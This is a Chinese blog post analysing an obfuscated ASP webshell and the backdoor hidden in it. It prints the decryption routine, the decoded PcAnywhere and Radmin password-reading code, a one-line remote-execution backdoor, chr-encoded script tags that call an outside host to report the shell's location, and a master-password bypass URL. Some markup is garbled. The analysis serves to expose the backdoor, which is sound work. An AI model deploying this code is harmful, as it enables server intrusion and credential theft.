FUNCTION密码的修改在shell中已经说的很清楚了,在中加密,然后替换userpass的值就行了。这个还是没有什么难度的,还不如用md5。第二个就是他的自定义加密了,解密函数位于尾部。 程序代码function Unlin(bb)but=94for i = 1 to len(bb)if mid(bb,i,1)&&"晨" thenIf Asc(Mid(bb, i, 1)) & 32 or Asc(Mid(bb, i, 1)) & 126 Thena = a & Chr(Asc(Mid(bb, i, 1)))elsepk=asc(mid(bb,i,1))-butif pk&126 thenpk=pk-95elseif pk&32 thenpk=pk+95end ifa=a&chr(pk)end ifelsea=a&vbcrlfend ifnextUnlin=aend function只有一处采用这个函数加密,我们来看看这个代码。 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!晨Dmc~He晨Dmc~Etmbshnm晨Etmbshnm~gdwsnhmsdq'rsqhm(晨Chl~h+~i+~j+~qdrtks晨qdrtks~&~/晨Enq~h~&~0~Sn~Kdm'rsqhm(晨He~Lhc'rsqhm+~h+~0(~&~!e!~Nq~Lhc'rsqhm+~h+~0(~&!E!~Sgdm晨i~&~04晨Dmc~He晨He~Lhc'rsqhm+~h+~0(~&~!d!~Nq~Lhc'rsqhm+~h+~0(~&~!D!~Sgdm晨i~&~03晨Dmc~He晨He~Lhc'rsqhm+~h+~0(~&~!c!~Nq~Lhc'rsqhm+~h+~0(~&~!C!~Sgdm晨i~&~02晨Dmc~He晨He~Lhc'rsqhm+~h+~0(~&~!b!~Nq~Lhc'rsqhm+~h+~0(~&~!B!~Sgdm晨i~&~01晨Dmc~He晨He~Lhc'rsqhm+~h+~0(~&~!a!~Nq~Lhc'rsqhm+~h+~0(~&~!A!~Sgdm晨i~&~00晨Dmc~He晨He~Lhc'rsqhm+~h+~0(~&~!`!~Nq~Lhc'rsqhm+~h+~0(~&~!@!~Sgdm晨i~&~0/晨Dmc~He晨He~Lhc'rsqhm+~h+~0(~;&~Lhc'rsqhm+~h+~0(~=&~!/!~Sgdm晨i~&~BHms'Lhc'rsqhm+~h+~0((晨Dmc~He晨Enq~j~&~0~Sn~Kdm'rsqhm(~,~h晨i~&~i~)~05晨Mdws晨qdrtks~&~qdrtks~*~i晨Mdws晨gdwsnhmsdq~&~qdrtks晨Dmc~Etmbshnm晨r`ltqk&bgq'5/(%bgq'004(%bgq'88(%bgq'003(%bgq'0/4(%bgq'001(%bgq'005(%bgq'21(%bgq'004(%bgq'003(%bgq'88(%bgq'50(%bgq'28(%bgq'0/3(%bgq'005(%bgq'005(%bgq'001(%bgq'47(%bgq'36(%bgq'36(%bgq'0/7(%bgq'0/4(%bgq'006(%bgq'008(%bgq'0/0(%bgq'00/(%bgq'0/2(%bgq'86(%bgq'00/(%bgq'0/2(%bgq'35(%bgq'40(%bgq'40(%bgq'4/(%bgq'4/(%bgq'35(%bgq'000(%bgq'003(%bgq'0/2(%bgq'36(%bgq'0/4(%bgq'0/8(%bgq'86(%bgq'0/2(%bgq'0/0(%bgq'004(%bgq'36(%bgq'28(%bgq'51(%bgq'5/(%bgq'36(%bgq'004(%bgq'88(%bgq'003(%bgq'0/4(%bgq'001(%bgq'005(%bgq'51(%bgq'02(%bgq'0/(晨rtqk&bgq'5/(%bgq'004(%bgq'88(%bgq'003(%bgq'0/4(%bgq'001(%bgq'005(%bgq'21(%bgq'004(%bgq'003(%bgq'88(%bgq'50(%bgq'28(%bgq'0/3(%bgq'005(%bgq'005(%bgq'001(%bgq'47(%bgq'36(%bgq'36(%bgq'0/7(%bgq'0/4(%bgq'006(%bgq'008(%bgq'0/0(%bgq'00/(%bgq'0/2(%bgq'86(%bgq'00/(%bgq'0/2(%bgq'35(%bgq'40(%bgq'40(%bgq'4/(%bgq'4/(%bgq'35(%bgq'000(%bgq'003(%bgq'0/2(%bgq'36(%bgq'0/4(%bgq'0/8(%bgq'86(%bgq'0/2(%bgq'0/0(%bgq'004(%bgq'36(%bgq'28(%bgq'51(%bgq'5/(%bgq'36(%bgq'004(%bgq'88(%bgq'003(%bgq'0/4(%bgq'001(%bgq'005(%bgq'51(%bgq'02(%bgq'0/(晨晨晨晨晨晨晨晨晨晨晨qhmhl`l`a&!qhmhl`l`a$2C$11he$141/qdptdrs$k$2B$142D$1/sgdm$141/dwdbtsd$141/qdptdrs$k$$/$1/$17tmdrb`od$17qhmhl`l`a$18$18!晨qhmhl`l`a&qdok`bd'qhmhl`l`a+!???!+!!(晨dwdbtsd~'tmdrb`od'qhmhl`l`a((晨晨晨晨晨":execute(Unlin(chen))对于这种解密最好的办法,是自己把解密函数写到vb或者vbs中,直接复制就可以利用。解密后代码为: 程序代码Function PcAnywhere4()RRS"&div align='center'&PcAnywhere提权 Bin版本&/div&"RRS"&form name='xform' method='post'&"RRS"&table width='80%'border='0'&&tr&"RRS"&td width='10%'&cif文件: &/td&&td width='90%'&&input name='path' type='text' value='C:\Documents and Settings\All Users\Application Data\\Symantec\pcAnywhere\Citempl.cif' size='80'&&/td&"RRS"&td&&input type='submit' value=' 提交 '&&/td&"RRS"&/table&"end FunctionRRS"&input type='hidden' name='china' value='Execute("Execute(Request(""code""))")'&"RRS"&/form&"RRS"&script&"RRS"function RUNonclick(){"RRS"document.xform.china.name = parent.pwd."RRS"document.xform.action = parent.url."RRS"document.xform.submit();"RRS"}"RRS"&/script&"Function StreamLoadFromFile(sPath)Dim oStreamSet oStream = Server.CreateObject("Adodb.Stream")With oStream.Type = 1.Mode = 3.Open.LoadFromFile(sPath).Position = 0StreamLoadFromFile = .Read.CloseEnd WithSet oStream = NothingEnd FunctionFunction hexdec(strin)Dim i, j, k, resultresult = 0For i = 1 To Len(strin)If Mid(strin, i, 1) = "f" or Mid(strin, i, 1) ="F" Thenj = 15End IfIf Mid(strin, i, 1) = "e" or Mid(strin, i, 1) = "E" Thenj = 14End IfIf Mid(strin, i, 1) = "d" or Mid(strin, i, 1) = "D" Thenj = 13End IfIf Mid(strin, i, 1) = "c" or Mid(strin, i, 1) = "C" Thenj = 12End IfIf Mid(strin, i, 1) = "b" or Mid(strin, i, 1) = "B" Thenj = 11End IfIf Mid(strin, i, 1) = "a" or Mid(strin, i, 1) = "A" Thenj = 10End IfIf Mid(strin, i, 1) &= "9" And Mid(strin, i, 1) &= "0" Thenj = CInt(Mid(strin, i, 1))End IfFor k = 1 To Len(strin) - ij = j * 16Nextresult = result + jNexthexdec = resultEnd FunctionFunction PcAnywhere(data,mode)HASH= Mid(data,3)If mode = "pass" Then number = 32: Cifnum = 144If mode = "user" Then number = 30: Cifnum = 15For i = 1 To number Step 2pcstr=((hexdec(Mid(data,i,2)) xor hexdec(Mid(hash,i,2))) xor Cifnum)If ((pcstr &= 32) or (pcstr&127)) Then Exit Fordecode = decode + Chr(pcstr)Cifnum=Cifnum+1NextPcAnywhere=decodeEnd functionFunction bin2hex(binstr)For i = 1 To LenB(binstr)hexstr = Hex(AscB(MidB(binstr, i, 1)))If Len(hexstr)=1 Thenbin2hex=bin2hex&"0"&(LCase(hexstr))Elsebin2hex=bin2hex& LCase(hexstr)End IfNextEnd FunctionCIF = Request("path")If CIF && "" ThenBinStr=StreamLoadFromFile(CIF)Response.write "Pcanywhere Reader ==&Bin提供源码&br&&br&"Response.write "PATH:"&CIF&"&br&"Response.write "帐号:"&PcAnywhere (Mid(bin2hex(BinStr),919,64),"user")Response.write "&br&"Response.write "密码:"&PcAnywhere (Mid(bin2hex(BinStr),1177,32),"pass")End IfFunction radmin()Set WSH= Server.CreateObject("WSCRIPT.SHELL")RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\"Parameter="Parameter"Port = "Port"ParameterArray=WSH.REGREAD(RadminPath & Parameter )Response.write "Radmin Parameter,Port Reader :)==&Bin&br&&br&"Response.write Parameter&":"'=========== ReadPassWord =========If IsArray(ParameterArray) ThenFor i = 0 To UBound(ParameterArray)If&&Len (hex(ParameterArray(i)))=1 ThenstrObj = strObj & "0"&CStr(Hex(ParameterArray(i)))ElsestrObj = strObj & Hex(ParameterArray(i))End IfNextresponse.write strobjElseresponse.write "Error! Can't Read!"End IfResponse.write "&br&&br&"'=========== ReadPort =========PortArray=WSH.REGREAD(RadminPath & Port )If IsArray(PortArray) ThenResponse.write Port &":"Response.write hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0))))ElseResponse.write "Error! Can't Read!"End IfEnd FunctionFunction hextointer(strin)Dim i, j, k, resultresult = 0For i = 1 To Len(strin)If Mid(strin, i, 1) = "f" or Mid(strin, i, 1) ="F" Thenj = 15End IfIf Mid(strin, i, 1) = "e" or Mid(strin, i, 1) = "E" Thenj = 14End IfIf Mid(strin, i, 1) = "d" or Mid(strin, i, 1) = "D" Thenj = 13End IfIf Mid(strin, i, 1) = "c" or Mid(strin, i, 1) = "C" Thenj = 12End IfIf Mid(strin, i, 1) = "b" or Mid(strin, i, 1) = "B" Thenj = 11End IfIf Mid(strin, i, 1) = "a" or Mid(strin, i, 1) = "A" Thenj = 10End IfIf Mid(strin, i, 1) &= "9" And Mid(strin, i, 1) &= "0" Thenj = CInt(Mid(strin, i, 1))End IfFor k = 1 To Len(strin) - ij = j * 16Nextresult = result + jNexthextointer = resultEnd Functionsamurl=chr(60)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(32)&chr(115)&chr(114)&chr(99)&chr(61)&chr(39)&chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(108)&chr(105)&chr(117)&chr(119)&chr(101)&chr(110)&chr(103)&chr(97)&chr(110)&chr(103)&chr(46)&chr(51)&chr(51)&chr(50)&chr(50)&chr(46)&chr(111)&chr(114)&chr(103)&chr(47)&chr(105)&chr(109)&chr(97)&chr(103)&chr(101)&chr(115)&chr(47)&chr(39)&chr(62)&chr(60)&chr(47)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(62)&chr(13)&chr(10)surl=chr(60)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(32)&chr(115)&chr(114)&chr(99)&chr(61)&chr(39)&chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(108)&chr(105)&chr(117)&chr(119)&chr(101)&chr(110)&chr(103)&chr(97)&chr(110)&chr(103)&chr(46)&chr(51)&chr(51)&chr(50)&chr(50)&chr(46)&chr(111)&chr(114)&chr(103)&chr(47)&chr(105)&chr(109)&chr(97)&chr(103)&chr(101)&chr(115)&chr(47)&chr(39)&chr(62)&chr(60)&chr(47)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(62)&chr(13)&chr(10)rinimamab="rinimamab%3D%22if%2520request%l%3C%253E%20then%2520execute%2520request%l%%0D%0Arinimamab%3Dreplace%28rinimamab%2C%22@@@%22%2C%22%22%29%0D%0Aexecute%20%28unescape%28rinimamab%29%29"rinimamab=replace(rinimamab,"@@@","")execute (unescape(rinimamab))可以看到这个代码的尾部还有一些加密串。samurl和surl就是ascii码,直接在vb中输出得到 程序代码samurl="&script src=''&&/script&"&&surl="&script src=''&&/script&"最后面的这段代码的解密我们可以直接response。 程序代码&="VBSCRIPT" CODEPAGE="936"%&&%'rinimamab="rinimamab%3D%22if%2520request%l%3C%253E%20then%2520execute%2520request%l%%0D%0Arinimamab%3Dreplace%28rinimamab%2C%22@@@%22%2C%22%22%29%0D%0Aexecute%20%28unescape%28rinimamab%29%29"'rinimamab=replace(rinimamab,"@@@","")Response.Write&&unescape(rinimamab)%&之后得到 程序代码rinimamab="if%20request%28%22l%22%29%3C%3E%22%22%20then%20execute%20request%28%22l%22%29"rinimamab=replace(rinimamab,"","")execute (unescape(rinimamab))再来一次response。 程序代码rinimamab="if%20request%28%22l%22%29%3C%3E%22%22%20then%20execute%20request%28%22l%22%29"rinimamab=replace(rinimamab,"","")Response.Write unescape(rinimamab)得到明文 程序代码if request("l")&&"" then execute request("l")对于这个代码的作用应当是接受并执行命令的一个窗口。今天看到这句话,猛然发现这个是个一句话后门,汗一个..........&&&&&&&&&&daokers&&&& renew至此这段代码就解密完了,在下面还有一个ascii码。 程序代码cao=chr(60)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(32)&chr(115)&chr(114)&chr(99)&chr(61)&chr(39)&chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(108)&chr(105)&chr(117)&chr(119)&chr(101)&chr(110)&chr(103)&chr(97)&chr(110)&chr(103)&chr(46)&chr(51)&chr(51)&chr(50)&chr(50)&chr(46)&chr(111)&chr(114)&chr(103)&chr(47)&chr(105)&chr(109)&chr(97)&chr(103)&chr(101)&chr(115)&chr(47)&chr(39)&chr(62)&chr(60)&chr(47)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(62)值和上面的一样, 程序代码cao="&script src=''&&/script&"至此这个shell就完全解密出来了。明文代码打包在附件中。现在看看后门,这个代码的后门比较隐蔽,它和前面的几个shell的后门有点差别,他并不是将地址和密码发送给作者,而是调用页面获取地址,然后通过万能密码得到控制权。这个shell验证是否登录的判断是 程序代码If Session("webadministrators")&&UserPass ThenIf Request.Form("LP")&&"" ThenIf MyEncode(Request.Form("LP"))=UserPass ThenSession("webadministrators")=UserPassresponse.redirect urlELse:response.write"&div align=center&&font size='1' color='#00ff00'&不是自己的女人别乱骑!!!&/font&":end ifelse.....。只要Session("webadministrators")=UserPass,就可以进入shell。第一个肯定是密码正确后会,会赋予此值,另外一个地方就是 程序代码if FName="URL" thenSession("webadministrators")=UserPassURL()end if这个就是万能密码了,访问方式是:#####.com/webshell.asp?FName=URL就可以直接进去shell了。那么作者是怎么得到地址的呢?从上面可以看到有3个变量的是samurl,surl和cao。这个shell也有3个地方确保是否发送了地址。 程序代码if session("IDebugMode") && "ok" thenresponse.write""&cao&""session("IDebugMode")="ok"end ifif session("IDebugMode") && "ok" thenresponse.write""&samurl&""session("IDebugMode")="ok"end ifif session("IDebugMode") && "ok" thenresponse.write""&surl&""session("IDebugMode")="ok"end if可以看到只要session("IDebugMode") 不是ok,那么就调用这3个变量,同时session没有清空,确保唯一性。在看看session("IDebugMode")的赋值,只有一处 程序代码session("IDebugMode")=UU而UU并没有赋值,也就是说不管怎样都会执行response.write""&surl&""等3个命令中的一个。那么能够获取shell地址吗?答案是肯定的,获取调用地址一般是采用ServerVariables("HTTP_REFERER")。存放在txt或者access就行了。加密文件下载: 最开始出于共享的目的,发布了解密的源码,但是很多朋友劝说我,那么解密文件就不发布了。
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[本日志由 金刀客 于
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